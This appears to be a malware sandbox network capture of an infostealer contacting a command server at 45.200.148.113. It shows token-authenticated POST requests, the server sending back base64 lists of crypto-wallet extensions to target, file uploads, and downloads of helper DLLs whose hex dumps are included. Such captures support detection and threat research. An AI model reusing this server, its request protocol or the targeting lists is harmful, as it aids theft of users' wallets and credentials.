48 49 45 47 43 41 41 41 4b 4b 4b 4b 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 45 47 43 42 46 49 45 48 49 45 47 43 41 41 41 4b 4b 4b 4b 45 2d 2d 0d 0a Data Ascii: ------EGCBFIEHIEGCAAAKKKKEContent-Disposition: form-data; name="token"85d749afffed07750d62cf58cb48dd07c29fb2dd52994ab4c0bbf3a8cf85b479c88ad310------EGCBFIEHIEGCAAAKKKKEContent-Disposition: form-data; name="message"plugins------EGCBFIEHIEGCAAAKKKKE--
Oct 1, 2024 07:51:10.003169060 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 01 Oct 2024 05:51:09 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 7116 Connection: keep-alive Vary: Accept-Encoding Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 5a 47 70 6a 62 47 4e 72 61 32 64 73 5a 57 4e 6f 62 32 39 69 62 47 35 6e 5a 32 68 6b 61 57 35 74 5a 57 56 74 61 32 4a 6e 59 32 6c 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 5a 57 70 69 59 57 78 69 59 57 74 76 63 47 78 6a 61 47 78 6e 61 47 56 6a 5a 47 46 73 62 57 56 6c 5a 57 46 71 62 6d 6c 74 61 47 31 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 62 6d 74 69 61 57 68 6d 59 6d 56 76 5a 32 46 6c 59 57 39 6c 61 47 78 6c 5a 6d 35 72 62 32 52 69 5a 57 5a 6e 63 47 64 72 62 6d 35 38 4d 58 77 77 66 44 42 38 56 48 4a 76 62 6b 78 70 62 6d 74 38 61 57 4a 75 5a 57 70 6b 5a 6d 70 74 62 57 74 77 59 32 35 73 63 47 56 69 61 32 78 74 62 6d 74 76 5a 57 39 70 61 47 39 6d 5a 57 4e 38 4d 58 77 77 66 44 42 38 51 6d 6c 75 59 57 35 6a 5a 53 42 58 59 57 78 73 5a 58 52 38 5a 6d 68 69 62 32 68 70 62 57 46 6c 62 47 4a 76 61 48 42 71 59 6d 4a 73 5a 47 4e 75 5a 32 4e 75 59 58 42 75 5a 47 39 6b 61 6e 42 38 4d 58 77 77 66 44 42 38 57 57 39 79 62 32 6c 38 5a 6d [TRUNCATED] Data Ascii: TWV0YU1hc2t8ZGpjbGNra2dsZWNob29ibG5nZ2hkaW5tZWVta2JnY2l8MXwwfDB8TWV0YU1hc2t8ZWpiYWxiYWtvcGxjaGxnaGVjZGFsbWVlZWFqbmltaG18MXwwfDB8TWV0YU1hc2t8bmtiaWhmYmVvZ2FlYW9laGxlZm5rb2RiZWZncGdrbm58MXwwfDB8VHJvbkxpbmt8aWJuZWpkZmptbWtwY25scGVia2xtbmtvZW9paG9mZWN8MXwwfDB8QmluYW5jZSBXYWxsZXR8Zmhib2hpbWFlbGJvaHBqYmJsZGNuZ2NuYXBuZG9kanB8MXwwfDB8WW9yb2l8ZmZuYmVsZmRvZWlvaGVua2ppYm5tYWRqaWVoamhhamJ8MXwwfDB8Q29pbmJhc2UgV2FsbGV0IGV4dGVuc2lvbnxobmZhbmtub2NmZW9mYmRkZ2Npam5taG5mbmtkbmFhZHwxfDB8MXxHdWFyZGF8aHBnbGZoZ2ZuaGJncGpkZW5qZ21kZ29laWFwcGFmbG58MXwwfDB8SmF4eCBMaWJlcnR5fGNqZWxmcGxwbGViZGpqZW5sbHBqY2JsbWprZmNmZm5lfDF8MHwwfGlXYWxsZXR8a25jY2hkaWdvYmdoZW5iYmFkZG9qam5uYW9nZnBwZmp8MXwwfDB8TUVXIENYfG5sYm1ubmlqY25sZWdrampwY2ZqY2xtY2ZnZ2ZlZmRtfDF8MHwwfEd1aWxkV2FsbGV0fG5hbmptZGtuaGtpbmlmbmtnZGNnZ2NmbmhkYWFtbW1qfDF8MHwwfFJvbmluIFdhbGxldHxmbmpobWtoaG1rYmpra2FibmRjbm5vZ2Fnb2dibmVlY3wxfDB8MHxOZW9MaW5lfGNwaGhsZ21nYW1lb2RuaGtqZG1rcGFubGVsbmxvaGFvfDF8MHwwfENMViBXYWxsZXR8bmhua2JrZ2ppa2djaWdhZG9ta3BoYWxhbm5kY2Fwamt8MXwwfDB8TGlxdWFsaXR5IFdh [TRUNCATED]
Oct 1, 2024 07:51:10.003273010 CEST	224	IN	Data Raw: 62 57 5a 6c 62 6d 52 74 5a 47 4e 6e 61 47 35 6c 5a 32 6c 74 62 6e 77 78 66 44 42 38 4d 48 78 55 5a 58 4a 79 59 53 42 54 64 47 46 30 61 57 39 75 49 46 64 68 62 47 78 6c 64 48 78 68 61 57 6c 6d 59 6d 35 69 5a 6d 39 69 63 47 31 6c 5a 57 74 70 63 47 Data Ascii: bWZlbmRtZGNnaG5lZ2ltbnwxfDB8MHxUZXJyYSBTdGF0aW9uIFdhbGxldHxhaWlmYm5iZm9icG1lZWtpcGhlZWlqaW1kcG5scGdwcHwxfDB8MHxLZXBscnxkbWthbWNrbm9na2djZGZoaGJkZGNnaGFjaGtlamVhcHwxfDB8MHxTb2xsZXR8ZmhtZmVuZGdkb2NtY2JtZmlrZGNvZ29mcGhpbW5rbm98
Oct 1, 2024 07:51:10.003283024 CEST	1236	IN	Data Raw: 4d 58 77 77 66 44 42 38 51 58 56 79 62 79 42 58 59 57 78 73 5a 58 51 6f 54 57 6c 75 59 53 42 51 63 6d 39 30 62 32 4e 76 62 43 6c 38 59 32 35 74 59 57 31 68 59 57 4e 6f 63 48 42 75 61 32 70 6e 62 6d 6c 73 5a 48 42 6b 62 57 74 68 59 57 74 6c 61 6d Data Ascii: MXwwfDB8QXVybyBXYWxsZXQoTWluYSBQcm90b2NvbCl8Y25tYW1hYWNocHBua2pnbmlsZHBkbWthYWtlam5oYWV8MXwwfDB8UG9seW1lc2ggV2FsbGV0fGpvamhmZW9lZGtwa2dsYmZpbWRmYWJwZGZqYW9vbGFmfDF8MHwwfElDT05leHxmbHBpY2lpbGVtZ2hibWZhbGljYWpvb2xoa2tlbmZlbHwxfDB8MHxDb2luOTggV2F
Oct 1, 2024 07:51:10.003664017 CEST	1236	IN	Data Raw: 62 58 77 78 66 44 42 38 4d 48 78 4c 53 45 4e 38 61 47 4e 6d 62 48 42 70 62 6d 4e 77 63 48 42 6b 59 32 78 70 62 6d 56 68 62 47 31 68 62 6d 52 70 61 6d 4e 74 62 6d 74 69 5a 32 35 38 4d 58 77 77 66 44 42 38 56 47 56 36 51 6d 39 34 66 47 31 75 5a 6d Data Ascii: bXwxfDB8MHxLSEN8aGNmbHBpbmNwcHBkY2xpbmVhbG1hbmRpamNtbmtiZ258MXwwfDB8VGV6Qm94fG1uZmlmZWZrYWpnb2ZrY2prZW1pZGlhZWNvY25ramVofDF8MHwwfFRlbXBsZXxvb2tqbGJraWlqaW5ocG1uamZmY29mam9uYmZiZ2FvY3wxfDB8MHxHb2J5fGpua2VsZmFuamtlYWRvbmVjYWJlaGFsbWJncGZvZGptfDF
Oct 1, 2024 07:51:10.003674984 CEST	1236	IN	Data Raw: 63 47 6c 6c 62 57 35 72 5a 48 42 76 62 57 4e 6a 62 6d 70 69 62 47 31 71 66 44 46 38 4d 48 77 77 66 45 78 6c 59 58 41 67 56 47 56 79 63 6d 45 67 56 32 46 73 62 47 56 30 66 47 46 70 61 6d 4e 69 5a 57 52 76 61 57 70 74 5a 32 35 73 62 57 70 6c 5a 57 Data Ascii: cGllbW5rZHBvbWNjbmpibG1qfDF8MHwwfExlYXAgVGVycmEgV2FsbGV0fGFpamNiZWRvaWptZ25sbWplZWdqYWdsbWVwYm1wa3BpfDF8MHwwfFRyZXpvciBQYXNzd29yZCBNYW5hZ2VyfGltbG9pZmtnamFnZ2hubmNqa2hnZ2RoYWxtY25ma2xrfDF8MHwwfEF1dGhlbnRpY2F0b3J8YmhnaG9hbWFwY2RwYm9ocGhpZ29vb2F
Oct 1, 2024 07:51:10.003685951 CEST	1236	IN	Data Raw: 63 47 52 69 66 44 46 38 4d 48 77 77 66 45 39 77 5a 58 4a 68 49 46 64 68 62 47 78 6c 64 48 78 6e 62 32 70 6f 59 32 52 6e 59 33 42 69 63 47 5a 70 5a 32 4e 68 5a 57 70 77 5a 6d 68 6d 5a 57 64 6c 61 32 52 6e 61 57 4a 73 61 33 77 77 66 44 42 38 4d 58 Data Ascii: cGRifDF8MHwwfE9wZXJhIFdhbGxldHxnb2poY2RnY3BicGZpZ2NhZWpwZmhmZWdla2RnaWJsa3wwfDB8MXxUcnVzdCBXYWxsZXR8ZWdqaWRqYnBnbGljaGRjb25kYmNiZG5iZWVwcGdkcGh8MXwwfDB8UmlzZSAtIEFwdG9zIFdhbGxldHxoYmJnYmVwaGdvamlrYWpoZmJvbWhsbW1vbGxwaGNhZHwxfDB8MHxSYWluYm93IFd
Oct 1, 2024 07:51:10.003698111 CEST	908	IN	Data Raw: 5a 6d 4e 6f 63 48 42 69 62 6e 42 75 61 47 52 74 62 32 35 38 4d 58 77 77 66 44 42 38 52 57 78 73 61 53 41 74 49 46 4e 31 61 53 42 58 59 57 78 73 5a 58 52 38 62 32 4e 71 5a 48 42 74 62 32 46 73 62 47 31 6e 62 57 70 69 59 6d 39 6e 5a 6d 6c 70 59 57 Data Ascii: ZmNocHBibnBuaGRtb258MXwwfDB8RWxsaSAtIFN1aSBXYWxsZXR8b2NqZHBtb2FsbG1nbWpiYm9nZmlpYW9mcGhiamdjaGh8MXwwfDB8VmVub20gV2FsbGV0fG9qZ2dtY2hsZ2huamxhcG1mYm5qaG9sZmpraWlkYmNofDF8MHwwfFB1bHNlIFdhbGxldCBDaHJvbWl1bXxjaW9qb2Nwa2NsZmZsb21iYmNmaWdjaWpqY2JrbWh
Oct 1, 2024 07:51:10.005790949 CEST	469	OUT	POST /0a616124ff2f2b69.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----FCFBAKJDBKJJKFIDBGHC Host: 45.200.148.113 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 46 43 46 42 41 4b 4a 44 42 4b 4a 4a 4b 46 49 44 42 47 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 38 35 64 37 34 39 61 66 66 66 65 64 30 37 37 35 30 64 36 32 63 66 35 38 63 62 34 38 64 64 30 37 63 32 39 66 62 32 64 64 35 32 39 39 34 61 62 34 63 30 62 62 66 33 61 38 63 66 38 35 62 34 37 39 63 38 38 61 64 33 31 30 0d 0a 2d 2d 2d 2d 2d 2d 46 43 46 42 41 4b 4a 44 42 4b 4a 4a 4b 46 49 44 42 47 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 46 43 46 42 41 4b 4a 44 42 4b 4a 4a 4b 46 49 44 42 47 48 43 2d 2d 0d 0a Data Ascii: ------FCFBAKJDBKJJKFIDBGHCContent-Disposition: form-data; name="token"85d749afffed07750d62cf58cb48dd07c29fb2dd52994ab4c0bbf3a8cf85b479c88ad310------FCFBAKJDBKJJKFIDBGHCContent-Disposition: form-data; name="message"fplugins------FCFBAKJDBKJJKFIDBGHC--
Oct 1, 2024 07:51:10.190396070 CEST	303	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 01 Oct 2024 05:51:10 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 108 Connection: keep-alive Vary: Accept-Encoding Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 4d 48 78 33 5a 57 4a 6c 65 48 52 6c 62 6e 4e 70 62 32 35 41 62 57 56 30 59 57 31 68 63 32 73 75 61 57 39 38 55 6d 39 75 61 57 34 67 56 32 46 73 62 47 56 30 66 44 42 38 63 6d 39 75 61 57 34 74 64 32 46 73 62 47 56 30 51 47 46 34 61 57 56 70 62 6d 5a 70 62 6d 6c 30 65 53 35 6a 62 32 31 38 Data Ascii: TWV0YU1hc2t8MHx3ZWJleHRlbnNpb25AbWV0YW1hc2suaW98Um9uaW4gV2FsbGV0fDB8cm9uaW4td2FsbGV0QGF4aWVpbmZpbml0eS5jb218
Oct 1, 2024 07:51:10.212385893 CEST	202	OUT	POST /0a616124ff2f2b69.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----HCFIJKKKKKFCAAAAFBKF Host: 45.200.148.113 Content-Length: 6627 Connection: Keep-Alive Cache-Control: no-cache
Oct 1, 2024 07:51:10.212446928 CEST	6627	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 48 43 46 49 4a 4b 4b 4b 4b 4b 46 43 41 41 41 41 46 42 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 38 35 64 37 34 39 Data Ascii: ------HCFIJKKKKKFCAAAAFBKFContent-Disposition: form-data; name="token"85d749afffed07750d62cf58cb48dd07c29fb2dd52994ab4c0bbf3a8cf85b479c88ad310------HCFIJKKKKKFCAAAAFBKFContent-Disposition: form-data; name="file_name"c3lzdGVtX2luZ
Oct 1, 2024 07:51:10.509102106 CEST	170	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 01 Oct 2024 05:51:10 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive
Oct 1, 2024 07:51:10.870635986 CEST	93	OUT	GET /2a5dc88bed850cdd/sqlite3.dll HTTP/1.1 Host: 45.200.148.113 Cache-Control: no-cache
Oct 1, 2024 07:51:11.043673038 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 01 Oct 2024 05:51:10 GMT Content-Type: application/x-msdos-program Content-Length: 1106998 Connection: keep-alive Last-Modified: Mon, 05 Sep 2022 14:30:30 GMT ETag: "10e436-5e7eeebed8d80" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELc!&@a0: 0@< .text%&`P`.data\|'@(,@`.rdatapDpFT@`@.bss(`.edata,@0@.idata@0.CRT,@0.tls @0.rsrc0@0.reloc<@>@0B/48@@B/19R"@B/31]'`(@B/45-.@B/57\B
Oct 1, 2024 07:51:11.043884993 CEST	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 42 2f 37 30 00 00 00 00 00 23 03 00 00 00 d0 0e 00 00 04 00 00 00 4e 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 38 31 00 00 00 00 00 73 3a 00 00 00 e0 0e 00 00 3c 00 00 00 52 0e 00 00 Data Ascii: @0B/70#N@B/81s:<R@B/92P @B
Oct 1, 2024 07:51:11.044039965 CEST	448	IN	Data Raw: 0a 00 89 7c 24 08 c7 44 24 04 00 00 00 00 89 34 24 e8 47 f7 0a 00 83 ec 0c 89 c5 85 db 74 05 83 fb 03 75 2e 89 7c 24 08 89 5c 24 04 89 34 24 e8 19 f7 0a 00 83 ec 0c 89 c5 89 7c 24 08 89 5c 24 04 89 34 24 e8 64 fd ff ff 83 ec 0c 85 c0 75 02 31 ed Data Ascii: \|$D$4$Gtu.\|$\$4$\|$\$4$du1Hga[^_]&+C\|$\$4$w#t\|$\$4$u#u\|$D$4$t&up\|$D$4$r
Oct 1, 2024 07:51:11.741080999 CEST	1236	IN	DELETE statements within triggersthe NOT INDEXED clause is not allowed on UPDATE or DELETE statements within triggersno such trigger: %Sunable to identify the object to be reindexedthere is already another table or index with this name: %sview %s may not be alteredUPDATE "%w".sqlite_master SET sql = sqlite_rename_table(%Q, type, name, sql, %Q, %Q, %d) WHERE (type!='index' OR tbl_name=%Q COLLATE nocase)AND name NOT LIKE 'sqliteX_%%' ESCAPE 'X'UPDATE %Q.sqlite_master SET tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqliteX_autoindex%%' ESCAPE 'X' AND type='index' THEN 'sqlite_autoindex_' \|\| %Q \|\| substr(name,%d+18) ELSE name END WHERE tbl_name=%Q COLLATE nocase AND (type='table' OR type='index' OR type='trigger');sqlite_sequenceUPDATE "%w".sqlite_sequence set name = %Q WHERE name = %QUPDATE sqlite_temp_schema SET sql = sqlite_rename_table(%Q, type, name, sql, %Q, %Q, 1), tbl_name = CASE WHEN tbl_name=%Q COLLATE nocase AND sqlite_rename_test(%Q, sql, type, name, 1, 'aft [TRUNCATED] Data Raw: Data Ascii:
Oct 1, 2024 07:51:12.297287941 CEST	202	OUT	POST /0a616124ff2f2b69.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----AKJDGIEHCAEHIEBFBKKK Host: 45.200.148.113 Content-Length: 4599 Connection: Keep-Alive Cache-Control: no-cache
Oct 1, 2024 07:51:12.552222013 CEST	170	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 01 Oct 2024 05:51:12 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive
Oct 1, 2024 07:51:12.650616884 CEST	202	OUT	POST /0a616124ff2f2b69.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----DAFIEHIEGDHIDGDGHDHJ Host: 45.200.148.113 Content-Length: 1451 Connection: Keep-Alive Cache-Control: no-cache
Oct 1, 2024 07:51:12.908087015 CEST	170	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 01 Oct 2024 05:51:12 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive
Oct 1, 2024 07:51:12.977394104 CEST	564	OUT	POST /0a616124ff2f2b69.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----DAEGIIECGHCBFHJKEHDB Host: 45.200.148.113 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 44 41 45 47 49 49 45 43 47 48 43 42 46 48 4a 4b 45 48 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 38 35 64 37 34 39 61 66 66 66 65 64 30 37 37 35 30 64 36 32 63 66 35 38 63 62 34 38 64 64 30 37 63 32 39 66 62 32 64 64 35 32 39 39 34 61 62 34 63 30 62 62 66 33 61 38 63 66 38 35 62 34 37 39 63 38 38 61 64 33 31 30 0d 0a 2d 2d 2d 2d 2d 2d 44 41 45 47 49 49 45 43 47 48 43 42 46 48 4a 4b 45 48 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 44 41 45 47 49 49 45 43 47 48 43 42 46 48 4a 4b 45 48 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------DAEGIIECGHCBFHJKEHDBContent-Disposition: form-data; name="token"85d749afffed07750d62cf58cb48dd07c29fb2dd52994ab4c0bbf3a8cf85b479c88ad310------DAEGIIECGHCBFHJKEHDBContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------DAEGIIECGHCBFHJKEHDBContent-Disposition: form-data; name="file"------DAEGIIECGHCBFHJKEHDB--
Oct 1, 2024 07:51:13.204653978 CEST	170	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 01 Oct 2024 05:51:13 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive
Oct 1, 2024 07:51:13.768924952 CEST	564	OUT	POST /0a616124ff2f2b69.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----IDBKKKKKFBGDGDHIDBGH Host: 45.200.148.113 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 49 44 42 4b 4b 4b 4b 4b 46 42 47 44 47 44 48 49 44 42 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 38 35 64 37 34 39 61 66 66 66 65 64 30 37 37 35 30 64 36 32 63 66 35 38 63 62 34 38 64 64 30 37 63 32 39 66 62 32 64 64 35 32 39 39 34 61 62 34 63 30 62 62 66 33 61 38 63 66 38 35 62 34 37 39 63 38 38 61 64 33 31 30 0d 0a 2d 2d 2d 2d 2d 2d 49 44 42 4b 4b 4b 4b 4b 46 42 47 44 47 44 48 49 44 42 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 49 44 42 4b 4b 4b 4b 4b 46 42 47 44 47 44 48 49 44 42 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------IDBKKKKKFBGDGDHIDBGHContent-Disposition: form-data; name="token"85d749afffed07750d62cf58cb48dd07c29fb2dd52994ab4c0bbf3a8cf85b479c88ad310------IDBKKKKKFBGDGDHIDBGHContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------IDBKKKKKFBGDGDHIDBGHContent-Disposition: form-data; name="file"------IDBKKKKKFBGDGDHIDBGH--
Oct 1, 2024 07:51:13.964818954 CEST	170	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 01 Oct 2024 05:51:13 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive
Oct 1, 2024 07:51:14.174588919 CEST	93	OUT	GET /2a5dc88bed850cdd/freebl3.dll HTTP/1.1 Host: 45.200.148.113 Cache-Control: no-cache
Oct 1, 2024 07:51:14.356523037 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 01 Oct 2024 05:51:14 GMT Content-Type: application/x-msdos-program Content-Length: 685392 Connection: keep-alive Last-Modified: Mon, 05 Sep 2022 10:49:08 GMT ETag: "a7550-5e7ebd4425100" Accept-Ranges: bytes Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!4p@AHSxFP/# @.text `.rdata @@.data<F0@.00cfg@@.rsrcx@@.reloc#$"@B
Oct 1, 2024 07:51:15.021929979 CEST	93	OUT	GET /2a5dc88bed850cdd/mozglue.dll HTTP/1.1 Host: 45.200.148.113 Cache-Control: no-cache
Oct 1, 2024 07:51:15.194834948 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 01 Oct 2024 05:51:15 GMT Content-Type: application/x-msdos-program Content-Length: 608080 Connection: keep-alive Last-Modified: Mon, 05 Sep 2022 10:49:08 GMT ETag: "94750-5e7ebd4425100" Accept-Ranges: bytes Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!^j@A`W, P/0AShZ.texta `.rdata@@.dataD@.00cfg@@.tls@.rsrc @@.relocA0B@B
Oct 1, 2024 07:51:15.731532097 CEST	94	OUT	GET /2a5dc88bed850cdd/msvcp140.dll HTTP/1.1 Host: 45.200.148.113 Cache-Control: no-cache
